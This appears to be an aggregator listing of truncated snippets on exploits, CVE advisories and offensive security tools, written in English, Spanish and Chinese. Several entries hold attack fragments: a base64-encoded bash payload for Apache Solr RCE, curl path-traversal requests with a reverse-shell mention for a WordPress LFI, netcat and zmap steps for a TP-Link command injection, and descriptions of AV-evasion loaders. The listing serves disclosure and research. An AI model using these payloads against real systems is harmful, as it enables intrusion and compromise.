Kernel_VADInjector

Driver DLL Injector Driver DLL Injector Descripción Driver DLL Injector es una herramienta potente que permite a los usuarios cargar los controladores de su elección utilizando su mapeador preferido. Aprovechando las capacidades de un cargador de controladores sin firmar, como KDmapper, este...

solr_rce

Apache Solr RCE a través de la plantilla Velocity uso de python: python solrrce.py http://x.x.x.x:8983 command payload codificado para getshell http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Introducción a Solr Solr es la plataforma de...

SpookFlare

SpookFlare SpookFlare 以不同的视角绕过安全措施，让你有机会在客户端检测和网络端检测中绕过端点防御。SpookFlare 是一个用于 Meterpreter、Empire、Koadic 等的加载器/投递器生成器。它具备混淆、编码、运行时编译和字符替换功能。因此，你可以像大佬一样绕过目标系统的防御，直到它们“学会”SpookFlare 载荷的技术和行为。 混淆 编码 运行时编译 字符替换 修补后的 Meterpreter 阶段支持 被封锁的 powershell.exe 绕过 / | / \ / | |/ / | | /\ | \ | \ \ / | | ' list...

volatility

This project is archived. See Volatility 3 for modern investigations: https://github.com/volatilityfoundation/volatility3 ============================================================================ Volatility Framework - Volatile memory extraction utility framework The Volatility Framework is a...

HvLoader

HvLoader 概述 HvLoader.efi 是一个用于加载外部虚拟机监控器加载器的 EFI 应用程序。 HvLoader.efi 加载给定的虚拟机监控器加载器二进制文件（DLL、EFI 等），并调用其入口点，同时传入 HvLoader.efi 的 ImageHandle。这样一来，虚拟机监控器加载器二进制文件就可以访问 HvLoader.efi 的命令行选项，并将这些选项用作配置参数。HvLoader.efi 的第一个命令行选项是虚拟机监控器加载器二进制文件的路径。 目前，HvLoader.efi 位于 efi 分区中（即...

UBUNTU-CVE-2026-95512

A flaw was found in FreeType, specifically within its CID font loader. A remote attacker could exploit this vulnerability by tricking a user into opening content that embeds or references a specially crafted CID-keyed font. This crafted font can cause repeated allocations and decryptions of...

Linux Distros Unpatched Vulnerability : CVE-2026-95512

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in FreeType, specifically within its CID font loader. A remote attacker could exploit this vulnerability by tricking a user into opening conten...

CVE-2026-95512

A flaw was found in FreeType, specifically within its CID font loader. A remote attacker could exploit this vulnerability by tricking a user into opening content that embeds or references a specially crafted CID-keyed font. This crafted font can cause repeated allocations and decryptions of...

shouganaiyo-loader

shouganaiyo-loader: Entrada forzada para agentes de Java shouganaiyo-loader es una herramienta de línea de comandos de Node.js multiplataforma basada en Frida que obliga a los procesos Java a cargar un agente Java/JVMTI independientemente de si la JVM ha deshabilitado o no la API de adjunción de...

CVE-2026-79298

🐞 CVE-2026-79298: Remediación Incompleta del Bypass de UEFI Secure Boot en Howyar SysReturn Se parcheó una vulnerabilidad. Se revocó un binario. Pero solo se corrigió la mitad de la arquitectura. Dieciocho meses después, la ruta de arranque IA-32 seguía llevando el mismo cargador PE personalizado...

Apache-Solr-RCE-via-Velocity-template

Apache-Solr-RCE-via-Velocity-template Reference link Vulnerability Cause: 1. When an attacker can directly access the Solr console, they can modify the node's configuration file by sending a POST request similar to /nodename/config. 2. Apache Solr integrates the VelocityResponseWriter plugin by...

CVE-2026-7482

🚨 CVE-2026-7482: Heap Buffer Over-Read in Ollama 📝 Description CVE-2026-7482 identifies a critical heap buffer over-read vulnerability in the /api/create and /api/push endpoints of Ollama , an open-source framework for running local language models. This vulnerability allows a remote,...

Open WebUI: SSRF into internal services via DNS rebinding in the Playwright web loader

SummaryWith the Playwright web loader enabled, Open WebUI checks the address behind a user-submitted URL before allowing the request, then handed the request to the browser to perform. The browser resolved the hostname a second time, on its own, and that answer was never checked. An attacker who...

BerriAI litellm has SSRF via Unvalidated spec_path URL in MCP OpenAPI Spec Loader

A weakness has been identified in BerriAI litellm up to 1.82.2. Affected by this vulnerability is the function loadopenapispecasync of the file litellm/proxy/experimental/mcpserver/openapitomcpgenerator.py of the component MCP OpenAPI Spec Loader. This manipulation of the argument specpath causes...

Bypass_AV

Esta es una muestra de troyano que puede evadir la gran mayoría de antivirus y sandboxes A continuación explicaré las tecnologías involucradas en el troyano; me centraré en dos aspectos: el shellcode y el loader. Sección del loader 1.Anti-sandbox Es bien sabido que la detección anti-sandbox...

flowise-arbitrary-file-read-getFileFromStorage

Flowise unauthenticated arbitrary file READ getFileFromStorage — proposed NEW CVE A separate vulnerability from CVE-2025-71338 which is the write sink. This is an unauthenticated arbitrary file read in the Flowise document-store loader "rehydrate" path, affected 1.7.1 – 2.2.3 , fixed in 2.2.4...

wordpress-cve-2026-87902

CVE-2026-87902 — Conditional LFI Love for Humans - Keep Simple WordPress Core +/tmp/pwn.php' curl -s 'http://10.137.137.49:18092/?pageid=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&=id' Reverse Shell...

CVE-2023-1389

TP-Link Archer AX21 - Unauthenticated Command Injection Loader POC CVE-2023-1389 Exploit Title: TP-Link Archer AX21 - Unauthenticated Command Injection Date Found : 07/25/2023 Exploit Author: Voyag3r How to Use :- Scanning - Use Zmap : zmap -p 80 -o list.txt NetCat Listener - apt install netcat -...

Invoke-noPac

Invoke-noPac El ensamblado .Net está basado en mi fork https://github.com/ricardojba/noPac que tiene algunos cambios de código para mejorar el original. Cargador de ensamblado .Net estilo PowerSharpPack para el escáner y exploit CVE-2021-42287 - CVE-2021-42278 noPac. Uso: Set-PSReadlineOption...

CVE-2026-103641

A flaw was found in GEGL. The Radiance HDR loader reads past the end of a memory-mapped image when an uncompressed scanline is shorter than the width declared in the file header. Opening a crafted HDR file crashes the application that uses the loader...